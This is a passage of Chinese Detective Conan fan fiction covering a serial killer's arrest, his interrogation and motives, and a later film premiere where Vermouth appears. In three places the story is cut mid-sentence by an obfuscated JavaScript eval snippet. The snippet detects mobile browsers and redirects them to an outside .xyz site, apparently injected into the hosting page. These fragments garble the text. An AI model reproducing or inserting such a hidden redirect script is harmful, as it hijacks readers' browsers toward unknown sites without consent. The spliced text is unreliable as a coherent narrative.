说着,他的手机忽然有了消息提示。工藤新一如蒙大赦,举手示意体育老师:“老师,我肚子疼,要去卫生间。” 体育老师点头同意,关切地问他:“疼的厉害吗?要不要去校医室?” “不用!”工藤新一迅速捂着肚子跑向卫生间。 终于有了独处的空间,工藤新一迫不及待地掏出手机。工藤优作的短讯标题是几个大字:查到他母亲的死因了。 “灰田曜的母亲于三年前的11月26日被120急救车从他家里送至米花中央医院,他家是单亲家庭,母亲身体一直不好,据检查是急性心脏病发作导致的呼吸系统衰竭而死,应该是受到了什么刺激。当天陪着他母亲上救护车的就是灰田曜本人和泽田和也先生两个人。” 这下应该能确定他的杀人动机了。工藤新一心想。三年前的11月26日那天,应该是泽田和也跟灰田曜说了什么、或者做了什么事,正好被灰田母亲撞见,她受不了刺激心脏病发作去世。这也能解释泽田先生为什么要跟他的朋友说‘假如我再谨慎一点’‘我对不起阿曜’,以及他遇害那天早上接到灰田曜的电话之后为什么会露出一副难过又高兴的神情——想必是灰田母亲去世后,灰田曜因此记恨泽田和也,断绝了朋友关系。而泽田和也同样对此事心怀愧疚。因此他才会在灰田曜打来电话邀请他去给母亲扫墓的时候既高兴又难过、才会毫不犹豫地请了假赴约。 只是,泽田和也满怀期待地去见他,以为能够重修旧好,没想到却是被曾经的好友以那样残忍的手段送离了人世。 他也才31岁。 工藤新一叹了口气,给工藤优作去了个电话。 “我跟你的想法一致。”工藤优作周遭静悄悄的,搜查一课几乎全体都出动去走访调查,偌大的办公室就剩下几个文职和他这个编外人士。 “灰田曜的毒瘾应该就是在6月24日那天去酒吧时染上的,时间对得上,估计与那个‘鸦尾’包间脱不了关系。如果是这样的话,他可能会认为城户阜月这位帮他办理了会员的女服务生就是‘引’他染上毒的罪魁祸首,因此杀害她。”工藤优作接着说,“而随后发现他吸毒的钉宫涧一郎先生辞退了他,这导致他失去了收入来源。他家里一直不富裕,母亲体弱多病,加之他吸毒的花销……也许就这样恨上了吧。” “嗯。”工藤新一的声音低低的,同意他的观点,“总之,现在可以在一定程度上缩小侦查范围了。犯人仇杀的顺序是按照时间顺序排列的,而且与他的毒瘾关系紧密——我怀疑泽田先生就是因为把他吸毒的事透露给了灰田曜的母亲才导致了她的去世——所以接下来只要寻找在三年前的11月26日之后‘因为灰田曜的毒瘾而得罪他’的人就行了,再加上‘木’的条件。” “已经通知下去了,只不过范围还是太大了,一个人三年的所有关系网,如同汪洋大海啊。”工藤优作叹道。 幸运的是,即使是汪洋大海,他们也还是捞到了两根针。 12月3日,警方查到了原名松北喜子、现名木村喜子的灰田曜前女友。她在参加前男友灰田曜母亲的葬礼时发现了男友吸毒的事实,于是在葬礼结束后一周,向灰田曜提出了分手。一年多后,她与现在的丈夫木村源成婚,并育有一子。 为了逮住灰田曜,警方不得不分出一部分人手在木村一家周遭蹲守,同时继续派警力调查灰田曜的人际,并在预计案发地东郊排布 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137906|180325||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了大量警力。 连续一天一夜的蹲守、搜查,终于功夫不负有心人,嫌疑人灰田曜于12月4日上午被逮捕归案,手里还拿着沾有钉宫涧一郎和泽田和也血迹、皮屑的□□。 证据确凿,不容抵赖。 杯户小学的校门在午后三点准时打开,铁栅栏发出“吱呀”一声悠长叹息,像老唱片放到最后一圈。孩子们潮水般涌出,又被各自的父母分流带走。工藤优作倚在车边,单手插在西裤口袋,另一只手随意搭着车门,银边眼镜映出一片晃动的彩色书包。人群中,他一眼锁定那个小小的蓝色身影——工藤新一背着几乎拖到膝盖的双肩包,脚步比平时慢半拍,像在数地砖的格子。 “这里,新一。”优作替他拉开车门,尾音里带着成年人才有的松弛。 车门“砰”地合上,车厢瞬间与外界切断。阳光透过挡风玻璃,在仪表盘上投下一枚晃动的菱形光斑。新一把书包抱在怀里,指尖无意识地抠着拉链的金属牙。犯人归案了,可“代价”……什么时候、以什么方式偿还,他全无头绪。 如果是按照凶手的逻辑、承担的是下一个被害人的伤害……莫非是被木头砸死?或者烧死?但他现在丝毫没有发热的迹象,估计这一次又该是身体上的物理伤害了吧。 头疼,他根本猜不到会是哪里承担代价。 工藤优作看他一直不出声,戳戳他:“怎么这么沉默?不是你说要来旁听讯问的吗?” “啊,没什么,有点困。”工藤新一逼真地打了个哈欠,“人是刚刚抓到的?” “有一会了,带回警视厅之后累得半死的警官先生们先晾了他一会,咱们到的时候应该刚刚好。”工藤优作说,“倒是看不出来,新一你还对审讯有兴趣。” “不,并不是,我对人为什么要杀人的理由完全不想理解,就算可以理解,也绝对不会接受,”工藤新一看着窗外明媚的阳光,不知道想到了哪一桩痛彻心扉的案子,“我只是……好奇一些别的事。” 比如,三年前的6月24日,灰田曜有没有进过“鸦尾”包间、他的毒品上线是谁、他那天为什么点了两杯超出他消费水平的皮斯可纯饮? “走吧,下车。”工藤优作解开安全带,回头看见工藤新一游移不定地伸出了右脚,探出个脚尖,又收回去,试探性地把左脚伸了出来。仿佛在确认接下来每一步的安全。 “新一?”工藤优作疑惑地看着他。 工藤新一的左脚腕在触地的一瞬间被某股神秘力量撞得一歪,脚踝处尖锐的疼痛让他的身体不可控制地向前栽倒。自重生以来,工藤新一好久没受过这么大罪了,眼见着即将与粗糙的路面来个亲密接触,他闭上眼睛:“优——” 工藤优作眼疾手快地把小孩拎起来捞进自己怀里。 自从那日二人心照不宣后,他对工藤新一简直是一日比一日亲近。他小心地把男孩扶起来,问道:“怎么了?扭伤了吗?” 工藤新一尴尬地朝他笑笑:“好像是啊……嘶……” “先去找个医生瞧瞧吧,今天医生或是法医人员都在值吗?”工藤优作朝着闻讯而来的警员问道。 毕竟法医也是医,不仅是验尸、验伤,偶尔也担当些急救人员。 那警员点点头:“应该在办公室里。” “那我们走吧,”工藤优作眼见着工藤新一的左脚站不起来,直接抱起了小孩,让他坐在自己右臂上,双手环住自己的脖子,“先去处理一下,看看严不严重,严重的话就要去医院了哦。” 工藤新一自从变小之后已经被抱习惯了,什么赤井秀一、降谷零、阿笠博士甚至毛利大叔、毛利兰、服部平次、黑羽快斗……于是相当熟练地扒在工藤优作身上:“不过我觉得还好,应该就是崴到了……不如我们先去审讯室?” 工藤优作抬头看着自己肩头的小孩:“……” 工藤新一装作看不懂他眼里的谴责:“嗯?” “唉,”工藤优作叹了口气,“就去看一眼。” “浪费时间嘛。” “万一严重怎么办?” “都说了不是很严重啦,又没有骨折。” “这样会让爸爸妈妈担心哦。”工藤优作意有所指地双关。 工藤新一鼓鼓嘴:“……好吧。” 于是他们先去了一趟医务室,索性不算绕远。医务室的医师业务熟练,稍稍检查一下就得出结论:“没伤到骨头,也没有错位,应该只是严重一些的软组织挫伤。” 工藤新一朝工藤优作露出一个“你看我说的对吧”的表情。 不过虽说伤势不重,男孩的左脚踝看着还是触目惊心:脚踝外侧鼓起一个骇人的肿包,目前还没有青紫的颜色,不过可想而知之后姹紫嫣红的可怖颜色。 “去搜查一课啦。”工藤新一催促道。 “那就谢谢医生了。”工藤优作像个操心熊孩子的老父亲一样替工藤新一道了谢,随后又抱起他,“好好好,去搜查一课。” “小弟弟很喜欢破案嘛,我今早有听搜查一课的松本警官提过你哦。”医生笑着说,“长大后要不要来当刑警呀?” 这话听着耳熟,佐藤警官——二十年后的佐藤美和子警官——也说过。工藤新一趴在工藤优作肩上:“谢谢医生叔叔,不过,我可是个侦探呢。” 医生被他逗笑了,站在医务室的门口送他们出了门。 30. 溯源 “姓名。” “灰田曜。” “性别。” “男。” “年龄。” “32。” “职业。” “报仇啊。” 负责记录的目暮十三停下打字的手,旁边的松本清长活动了一下今早受伤的手臂:“你犯案的事实已经证据确凿了,我建议你还是想好了再说话。” “我承认我杀人了,警官先生们,”灰田曜打了个哈欠,“我也承认我今天早上打算去杀了那个……趁虚而入的男的,你们还要我说什么?认罪吗?” 灰田曜戴着手铐,坐在审讯椅上。他瘦削得不像话,面颊凹陷却带着诡异的红晕,整个人一副吸毒过量、萎靡不振的样子。 他身体前倾:“我不认罪。我只是杀了人。” “杀人还不算犯罪吗?”松本清长强忍着扇他一巴掌的冲动。 “杀人,就只是一种行为。但犯罪,得是有对错之分的。警官,我只是杀了我的仇人,我在报仇雪恨,我没有犯错,所以我不认‘罪’。” “你——”松本清长攥紧了拳头。 这个案子战线拉的过长,单面玻璃外聚集了许多义愤填膺的警官们。小田切敏郎算是其中最理智的一个,通过耳机提醒他:“松本君,不要被犯人激怒。” 松本清长耐下性子:“你为什么要杀了他们?一个一个交代。” 灰田曜却根本没有“交代”的感觉,他更像是在倾泻他的恨意:“因为他们毁了我,他们都应该死。” 不等警方继续提问,他自顾自地说:“那个女人是最可恶的,要不是她故意把那瓶酒弄撒,我怎么会进到那个房间?我怎么会吸毒?!哈哈哈哈哈哈哈——就那么不起眼的一件事,我就——我就染上了那种不干净的东西哈哈哈哈哈哈哈……” “什么事,你说清楚。”松本清长说。 灰田曜的精神状态看上去不大稳定。对松本清长的质问他置之不理:“我当然知道那不是什么好东西,可要不是那个贱人,我怎么会染上?染上了,又怎么能戒得掉呢?”他的语气忽然带了些哀怨,让人听了起鸡皮疙瘩。 戒得掉戒不掉,都不该是杀人和参与贩毒的理由吧。工藤优作鄙夷。 “那个女人故意撞在我身上,把那些人的酒撞撒,还硬要我去替她道歉。我多傻,信了。他们让我点两杯皮斯可,跟他们喝一杯就算赔罪,谁知道那些人居然趁我不注意,在里面加料……”灰田曜恨恨地说,“我这辈子都不会再喝那种酒。” 松本清长没忍住嘲讽了一句:“这你放心,我保证你下半辈子一滴酒都沾不着。” “咳咳。”森村提醒他注意影响。 松本清长假装没听见:“这是什么时候发生的事?” “我不知道。记不清了。” 他记不清,酒吧的账册记得可清——三年前的6月24日。 接下来的审讯就在灰田曜颠三倒四、满是个人主观情感色彩的叙述中过去了。工藤新一比对着他的讯问记录和其他证人的询问记录、证据链,大概还原出了完整的真相。 三年前的6月24日,还在保险公司上班的灰田曜照例来到这家清吧谈合约,当天,那个贩毒组织也正好在酒吧的“鸦尾”包间谈毒品交易的黑色生意。贩毒团伙用“皮尔·考斯”的会员卡点了几瓶名贵的洋酒之后,就一直在包间里没有出来。那天是个周末,酒吧里人很多,人手有些不够用,经理就临时指派服务生城户阜月小姐去给二楼包间送酒。城户阜月端酒上楼时,被去卫生间的灰田曜撞了个正着,她端着的酒因此撒了一半在地上。二人本就认识,灰田曜见她为难,主动提出和她一起去二楼赔罪。包间里有人提出让他喝杯皮斯可就算揭过,但没想到的是,灰田曜喝酒之前,被这些人暗中在杯里加了些毒品。 灰田曜就此堕落进了毒品的深渊。但这时的他还远没有之后那样心理变态,于是一边自厌自弃,一边无法停止自己吸毒的举动,最终成了个彻底的瘾君子。仅仅三个月的时间几乎花掉了他三年的存款。 同年9月21日,他在公司的卫生间毒瘾发作,被当时的顶头上司钉宫涧一郎发觉,没有给他任何狡辩的机会,直接上报辞退了他。但辞退归辞退,钉宫涧一郎没有对任何一个人公布过辞退的原因,唯一一个偶然知情的女员工也被他下了封口令。9月22日晚上,灰田曜去钉宫涧一郎的家门外祈求他再给自己一次机会,被钉宫先生拒绝,并明言“这件事不可饶恕,没得商量”。 依旧是同年,11月25日,灰田曜与大学好友泽田和也在晚上喝醉酒后,灰田曜向他吐露了自己吸毒以及失业的现状。第二天,11月26日,知晓了他吸毒失业的泽田和也主动找到他,趁着灰田母亲出门的空档,向他提出“毒不能沾”、“等你戒了毒,我可以帮你再找一份工作”、“现在要是经济上有困难,只要不是去买毒品,我都可以借给你”等。但灰田曜恼羞成怒,和他吵了起来,泽田和也被他带得火气上涌,也跟他脸红脖子粗地对吵。可谁也没发现灰田母亲提前回来了,开门时恰好听见了泽田和也的一句“吸毒就是个无底洞!你的健康、工作现在都没了!我不是在可怜你,我只是想帮你!你不要不识好歹!”。 灰田母亲本来就患有严重的心脑血管疾病和小脑蛛网膜下腔血管畸形,听见这话直接昏了过去。泽田和也无比自责,跟着灰田曜一起去了米花中央医院,并且支付了他母亲的一切治疗费用,可惜灰田母亲还是在11月26日当天因呼吸循环系统衰竭抢救无效死亡。 自此,灰田曜与泽田和也断交,三年来再无交集。 11月30日,灰田曜为母亲举行葬礼。他自觉对不起母亲,没有在母亲的墓碑上留下自己的名字。同时他尝试戒毒,但失败,被当时的女友松山喜子发现。松山喜子之前只知道男友灰田曜失业,以为他的萎靡不振都是失业带来的负面心理作用,这天才知道是吸毒的原因。于是,松山喜子在灰田曜把母亲的丧事全都料理完毕后,提出了分手。并在一年多以后与现任丈夫木村源结婚。 至此,灰田曜失去了唯一的亲人、失去了健康、失去了工作和收入、失去了朋友、失去了爱人,却只换来了日渐嚣张的毒瘾。 为了生存下去,得到金钱换取毒品,灰田曜卖掉了自己家的房子,改租住在狭小的群租房里,并且在做了无数兼职之后,成了毒品犯罪的一环——成了一个贩毒的小头目。 日复一日的暗无天日的生活终于把他逼疯,他开始把对自己的厌恶转移为对他人的恨意,记忆逐渐扭曲。 首先是城户阜月,如果不是她,他就不会遭遇毒品,坠入深渊、人生急转直下——他当然是不敢恨“鸦尾”的那些人的,他们实在太过恐怖,他不敢跟他们寻仇; 其次是二话不说辞退他的钉宫涧一郎,如果不是他,他不会失业、不会丧失收入,他永远记得钉宫涧一郎用左手把辞退他的文件甩在他桌上的样子,整个公司的人都在嘲笑他; 第三个是最不可饶恕的泽田和也,非要多管闲事地跟他说什么“我会帮你”,如果不是他,妈妈不会知道这些真相,她就不会那么早离开他,泽田和也应该对他和他妈妈忏悔; 然后是那个趁虚而入、夺走了他的女人的木村源,他那么爱喜子,喜子也那么爱他,连他失业都不离不弃,怎么会平白无故离开他?一定是那个叫木村源的家伙从中作梗。他不会恨喜子的,他怎么舍得呢?他只是想让喜子回头,让那个男人永远不能再来打扰他们。 最后是他自己。他已经彻底烂掉了,他的人生已经毁了,也没必要继续活着了。那不如,就在报仇之后杀了自己吧,让全世界都知道他的人生被这四个人毁了、让全世界都知道他灰田曜自己报了仇,让全世界都知道他完成了一出多么完美、多么艺术的作品。 正好,他们五个该死的人,名字里都带着七曜的属性。 那么,城户阜月做第一个,他要让她也尝尝从人生的阶梯上一跃而下、坠入泥潭的感觉。那么就让她自己跳楼吧——他以熟客的名义把她从店里带出来,用匕首威胁她站在他精心准备的刑台上,逼迫她坠落。 钉宫涧一郎是第二个。他恨极了他发出无情声音的喉咙、恨极了那只甩给他辞退通知的手、恨极了他永远平整的昂贵衬衣、恨极了所有看他笑话的同事。那么就划破他的喉咙、刺穿他的手腕,把他的昂贵衬衣染满血迹,送给公司那些嘲笑他的人看吧——他埋伏在地下车库,把钉宫涧一郎用□□击昏,带到西郊杀死,寄出了一份别出心裁的“辞职信”。 最恨的人是泽田和也。他要让他体验到他母亲生前的痛苦,让他也挣扎在窒息的边缘却求救无望。那就把他按到水里吧,让他好好体会一次什么叫求生不得求死不能——他用一通“我戒毒了,跟我去扫个墓”的电话轻易骗出了心怀愧疚的泽田和也,然后在扫墓归来的路上电晕了他,在北郊一出废弃工厂备好了浑浊的水,等他醒来,一边动手、一边录下了他濒死的声音,把他的尸体绑在树上,朝着他母亲坟墓的方向下跪忏悔,然后给剧组打了电话,忍不住在又一次听见泽田和也死亡的声音时放肆大笑。 还有一个木村源,他要让他向自己道歉,让他知道他才是罪人。那就把他钉在十字架上,用一些锋利的木刺,他要把这些木刺送给喜子,再把木村源的尸体涂满火油暴晒。喜子一定会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你进去过几次?” “只有一次。” “描述一下里面的情况吧。” “包间里坐着两伙人,还都带着人高马大的保镖。我进去赔罪、解释,有一方不打算计较,只说赔了酒钱就是,另一方却更像是街坊混混的做派,笑嘻嘻的,要我喝酒赔罪。” 缉毒警员问:“他指定的酒吗?” “对,指定要皮斯可纯饮。” “他说这句话的时候有什么奇怪的表现吗?语气?” “我不记得了。” “一点点都记不起来吗?” “有点恭维吧,眼睛一直看着另一伙人的老大。” “这两伙人都长什么样子?” “其中一帮人,不追究的那帮,全都穿着黑色的衣服,戴着黑色帽子和墨镜。另一边穿得也很黯淡,但没有这么整齐。” “头领的长相呢?” “黑衣人的头领是一个女人,很瘦,黑色头发。另一边是一个胖胖的男人。” 审讯室外,工藤新一问道:“小田切警部,那个包厢的情报我们这边掌握了多少?” “目前只知道那是一伙很成规模的贩毒团伙。”小田切敏郎对工藤新一非常有好感,不会轻视他的问题,“所有预定那个包间的人都是他们的同伙。” 哦,懂了。就是说那个包间被他们这个团伙包下了,之所以不用“皮尔·考斯”的会员卡直接包场,大概是为了掩人耳目。等到有交易需要,就让下面人退掉某天的预约,“皮尔·考斯”顶上。 屋里审到一半,村中努忽然进来:“警部,外面来了两个公安的人。” “公安?”小田切敏郎皱眉。他身后被目暮十三抱在怀里的工藤新一也在皱眉。 公安来人……莫非真的与组织有关? 黑发的女人,他没在组织里见过符合描述和年龄的女人啊……可恶,要是能亲眼见一见就好了,反正他身上有PTSD在,肯定就认出来了。 正想着,公安的人已经进了审讯室,向里面的缉毒警表明身份。在一众警员气愤的眼神中带走了犯人灰田曜。 工藤新一也就只好遗憾地停止了情报收集。他在警视厅待了一天,像个吉祥物一样拖着伤腿、让工藤优作抱着他帮这帮那。工藤优作又好气又好笑,更多的是满足感。 他们好像,重新成了亲人。 两天后,警方宣布“七曜连环凶杀案”告破。因泽田和也案停滞的电影《莫比乌斯》剧组也重新开工。 8月26日,由藤峰有希子主演的电影《莫比乌斯》即将上映。 31. 风声 “不要。”工藤新一毫不留情地拒绝,“我就是个两分钟的龙套,参加什么点映礼。” “就当去大阪玩了。”工藤优作站在波光粼粼的海洋馆隧道里打着电话,藤峰有希子站在旁边偷笑。 “大阪有什么好玩的啊……又不是没去过,都玩遍了。”工藤新一无聊地扣着手指,心想:也就是那几家大阪烧一直没吃上。 服部那家伙还有两年多才出生,想想还真是物是人非。 “你真的不答应我?”工藤优作看着旁边笑得越发不怀好意的有希子,好心提醒他,“过这村可就没这店了。” “不——去——”工藤新一不为所动。 工藤优作叹了口气:“那好吧,祝你好运。”随后挂断了电话。 窗外的樱花已经落了一半,随着呼啸的风翻滚奔腾,很快就落在后面。工藤新一板着脸坐在新干线上,旁边是其乐融融的诸伏一家和藤峰有希子。 “呐,新ちゃん,你是晕车吗?”(新酱)旁边的藤峰有希子明知故问。 “诶?新一晕车了吗?”诸伏景光凑过来,“要不要吃一颗薄荷糖?”他拿出自己小背包里的小糖罐,捏了一颗出来。 “没有啦,我不晕车,”工藤新一接过那糖吃了,“谢谢。” “那新ちゃん是不想去参加有希子姐姐的首映礼吗?有希子姐姐好伤心啊!”有希子做作地捧心。 工藤新一一脑门黑线:“没,我不是——” “那就是想来参加啦!”藤峰有希子的戏瘾说来就来,“那我当然得给自己的小粉丝一点福利——请你们住超级豪华的大酒店好不好呀?” “本来不就是要去住的吗……”工藤新一嘟嘟囔囔。 是的,工藤新一拒绝工藤优作的“好言相劝”之后,藤峰有希子的电话就打到了诸伏家里,说是导演组出钱,邀请工藤新一的家人们去大阪参加点映礼,路费住宿费全免。 “因为新ちゃん脸皮薄,说自己没有给电影出什么力——但他可是破了泽田和也先生案子的大功臣,出演的角色还是电影女主角白月光级的弟弟——所以,为了表示感谢,导演组就这么决定了。” 这就是他们全家和藤峰有希子一起坐在新干线上的原因。 “优作哥呢?他不跟我们一起走吗?”工藤新一转移话题。 “优作他和导演编剧他们一起坐的早上的那班车,我是特意等你们的哦。”藤峰有希子眯起一只眼睛,右手伸出拇指、食指、中指,比了一个“三”,“比他们整整晚了三个小时呢。” “一起走不就好啦?”工藤新一奇怪。 藤峰有希子把食指放在唇前:“嘘——你可是‘害羞得不想来参加点映礼’的小龙套,要是跟剧组的人一起坐车还带着父母哥哥弟弟,不是更要尴尬。作为‘说服了你过来当观众’的女一号,当然是要细心一点啦。” 工藤新一:“……” “前辈,这件事我们明明可以一起做,你为什么一定要逞英雄!” “不,这种可怕的事,我一个人知道就好了,”荧幕上的藤峰有希子——利勇学姐低着头说,“这么可怕的事,告诉你们的话,一定会让你们担心的吧……我知道,我们是一家人,我们应该共同面对,可是这种事要我怎么说?!所以……所以我一个人去就行了,如果最后一定要有人牺牲,那就我来吧,反正,就连小莲也已经离开我了……” 荧幕上,利勇的眼前浮现了一个坐在病床上,正朝着她喊“姐姐”的小男孩。窗外的阳光洒在憔悴的男孩身上,让他显得像个即将返回天堂的天使。 “不要难过哦,姐姐,”男孩咳了两声,眨着湛蓝的眼睛望向她,“因为,面对困难时,眼泪是最没有用的。” 工藤新一后槽牙都要咬碎了,脸涨得通红,不敢和银幕上的自己对视哪怕一眼。 演员真是一种神奇的职业,他们竟然可以做到在看自己演的戏时毫不羞耻,甚至还能在里面找优缺点! 他的目光瞥向前一排的藤峰有希子,心想作为天赋异禀的表演家,应该也是这样淡定的表现吧…… “嗯?” “怎么了?”诸伏高明小声在他耳边问,“新一演得很好啊。” “没什么……”工藤新一摇摇头。 有希子……哭了? 这一段有那么催泪吗? 工藤新一忍者羞耻感看向银幕。他饰演的男孩戴着呼吸机躺在病床上,艰难地睁开眼睛:“我会……一直,一直想念姐姐……变成星星……一直……” “小莲!”利勇趴在病床上痛哭流涕。 藤峰有希子也不知道自己这是怎么了。只是在那一瞬间,她看着银幕上那个虚弱的孩子,忽然心疼的无以复加,就好像是曾经看见过工藤新一这般虚弱的样子一样。 电影放映完毕,就要轮到见面会的环节了。全体到场的演员都要上台,前两排一下子就空了半数。 工藤优作倒是没有上台,坐在台下,主持人提到他时向观众们起身致意。 村下导演最后致辞,在感谢了一通制片方、投资人之后,还提到了在剧组运作期间不幸遇害的化妆师泽田和也。 “泽田先生是一位善良的人,在他工作的领域闪闪发光,只是,实在不幸,无辜地遇难了。”村下导演说,“还好,警方已经为他伸冤,在此,我们为泽田和也化妆师默哀,也对警视厅的各位警官们表达感谢。” 默哀环节结束后,工作人员搬了个抽奖箱上来。里面是剧组收集的各种粉丝、影迷、书迷的提问。 “工藤先生觉得《莫比乌斯》这部作品最中心的主题是什么呢?”主持人拿着从提问箱里抽出的观众提问问道。 “大概是,邪不胜正吧。”工藤优作笑,“虽然这个世界波谲云诡,黑白灰都同时存在,但我想还是‘正’的东西才更长久吧。” 主持人点点头:“的确呢,我们还是需要一些正能量。这样的作品是能给人带来希望的。那么,下一个问题……” 他在提问箱里随便拿了一张上来:“哦,是问给藤峰小姐的。” “嗯。”藤峰有希子上前一步,落落大方地点了点头。 “藤峰小姐最喜欢剧组里的谁呢?看来是一位您的粉丝写来的问题呀。”主持人笑。 工藤新一和诸伏景光同时看向工藤优作,工藤优作适时地咽了口唾沫。 不过聪明的有希子小姐肯定不会随随便便着了媒体记者的道。她下意识看向工藤优作的方向,然后转而山花烂漫地看着工藤新一,笑着说:“我最喜欢的当然是我的弟弟小莲啦!” “哦?” “新ちゃん可是非常可爱的哦。”藤峰有希子说,“不仅长得很可爱,还是个聪明的小大人呢,能认识他我非常荣幸。” “小朋友今天没有来到我们点映礼的现场吗?”主持人是真不知道这事,说这话也只是例行顺流程。 工藤新一有一种不好的预感。 “来了呦。”藤峰有希子伸出没有握着话筒的那只手,平摊着伸向工藤新一的方向,“新ちゃん!” 聚光灯都找过来了,工藤新一只好一脸假笑地站起来,说了一通“剧组的每一个人都很关照我”“有希子姐姐很敬业”“导演叔叔非常认真”之类绝对挑不出错的套话,在话筒递回去时一屁股坐下,长舒一口气。 “好,那我们接下来……” 工藤新一灌了一大口水,决定以后不管说什么都不会踏足演艺圈半步,如果有可能,以后连报纸都不要上。他现在实在是厌烦应付媒体的赞扬和质疑了。就默默当个低调的侦探就好,出名实在没什么好处。 他靠在点映厅的椅子背上,百无聊赖地摸着肚子,想着一会儿的宴会能吃点什么,忽然一个激灵。 组织的人在附近?工藤新一忍着胸口的窒息感,悄悄拿出眼镜戴上。他开了远视和热感功能,往门口看去。可惜,大厅的门口只给他留下了一个离去的背影和悄悄关上的大门。 是谁?工藤新一皱眉,不死心地在礼堂里看了一圈,只是没找见任何疑似人选,应激反应似乎也消失了。 组织的人就来点映厅里看一眼吗?有交易?工藤新一心想。总不会是来追星的吧……黑衣组织也追点映? 诸伏加奈注意到他的动作,问道:“怎么了?” 其实他们对那副眼镜也好奇很久了。明明新一不近视,平时也都不戴眼镜,但那副看似平平无奇的眼镜他却总是揣在身上。虽然他们一直秉持“新一不说就不问”的默许态度,但见他今天难得拿出来,她还是没忍住。 “没有啦,就是觉得有点冷,看看是不是门没关好。”他随口说,把眼镜揣好,“呐,点映礼好像快要结束了,我饿了。” “马上就能去宴会上吃饭了。”诸伏景光的肚子“咕咕”叫了一声,“我也饿了。” “那个女人还没来啊,”刚刚那个黑影的主人坐上了酒店的电梯,手里拿着一张硬卡片,上面有一串移动电话号码,“那正好。” 他在三层下了电梯,确认了房间号,避开电梯口的监控,把卡片塞进了某一间房的门缝里。 晚上五点半,对外开放的点映礼结束,观众和媒体纷纷离场,剧组成员及家属、投资方移步另一间礼堂,准备开启今天的内部宴会。 “首先,让我们掌声欢迎《莫比乌斯》的最大投资方——中居集团的中居久司社长和他的夫人中居美佳女士!” 一个大腹便便的中年男人走上了台,衣着华丽的纤瘦夫人紧随其后。中居社长神态自然,夫人却显得有些紧张,二人看上去并不算亲密。 “这位夫人听说是前几年才与中居社长结婚的。”工藤优作蹲下来说。 “哈?”工藤新一斜眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137908|180325||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看他。意思是:你连这都知道? “又不是我非要好奇,之前跟投资方见面的时候他喝得有点多,自己跟我们说的,还说他总觉得夫人和他的弟弟敦志君有私情。看,就是站在那边那个。”工藤优作指了个方向让他看。 工藤新一不大感兴趣,瞄了一眼:“可是他明明是一直在看旁边那位年轻女性吧,看上去对夫人没什么感情。” “我和你看法一致,这位中居敦志先生大概是喜欢他旁边那位秘书小姐的。”工藤优作说,“判断得很准嘛,你真的没有谈过恋爱吗?” “没有啦,只是见过的案件比较多而已,判断两人的关系不是演绎法最基本的应用吗?”工藤新一说,“而且我曾经在判断他人感情时有过失误,所以特意练习过。” 正说着话,工藤新一忽然感觉到有人在靠近,门口的一阵小骚动逃不过他的感官,他瞳孔紧缩,整个人像是被埋在了阴影之下动弹不得。这是他今天晚上第二次触发应激反应,却比第一次那浅尝辄止的一下更加难以遏制。 他的心脏砰砰直跳,忽然有种喘不上气的感觉。 “新一?”工藤优作敏锐地发现他的表现有些眼熟。那次大雪夜的寿喜烧会谈结束时,工藤新一也是这般应激一般的反应。那天他是看见了一个“不是什么好人”的人,难道说这次也是…… 工藤优作不着痕迹地把小孩圈在自己怀里,让他靠着自己,然后熟练地抱起,看向工藤新一刚刚看向的地方。 工藤新一趴在他肩上,刘海软软地垂下来遮住了一半眼睛。他装作睡着的样子,借着发丝的遮掩,也看向那个危机感十足的人。 来人正抱歉地对前来迎接的工作人员表达迟到的歉意。她有一头金色的短发,鼻梁上架了一副黑框眼镜,皮肤白皙,眼睛是沉静而忧郁的蓝色。 ——莎朗·温亚德!或者说…… “贝尔摩德。”他在心里念出了那美艳女人的代号。 “莎朗!”藤峰有希子迎了上去,“真是的,怎么这么晚才来啊。” “抱歉,从美国飞来日本的航班晚点了,我也是没有办法。”莎朗笑着,从随身的小提包里拿出一盒包装精巧的酒心糖,“给你带的,祝票房大卖。电影就只好等上映再去看了。” “哇,谢谢你莎朗!我果然最喜欢莎朗了!”有希子笑得更开心了。 这家伙……居然现在就认识妈妈吗?工藤新一搂着工藤优作的脖子,眼睛一直瞥向莎朗有希子二人。也对,按照时间推算,她们一起拜师黑羽盗一学习易容术应该就在不久之后,既然拜师的时机那么巧,那么两人本就认识的可能性就很大。 “新一怎么了?”诸伏高明担忧地走过来,看着趴在工藤优作肩膀上的工藤新一。 “可能是困了吧,睡着了。”工藤优作感受着小孩并不均匀的呼吸,帮着他打掩护。 诸伏夫妇也走过来,诸伏英拓提议:“不如我抱他回房间睡吧,优作君还没吃什么吧。” 感受到工藤新一小手的摆动,工藤优作婉拒:“没事,我不大饿,再说,新一也不能就这么睡到上午,这样的嘈杂环境他也不会睡得太深,让他歇一小会再叫醒他吃些东西比较好吧。” 工藤新一适时地蹬蹬腿,示意自己睡得确实不踏实。 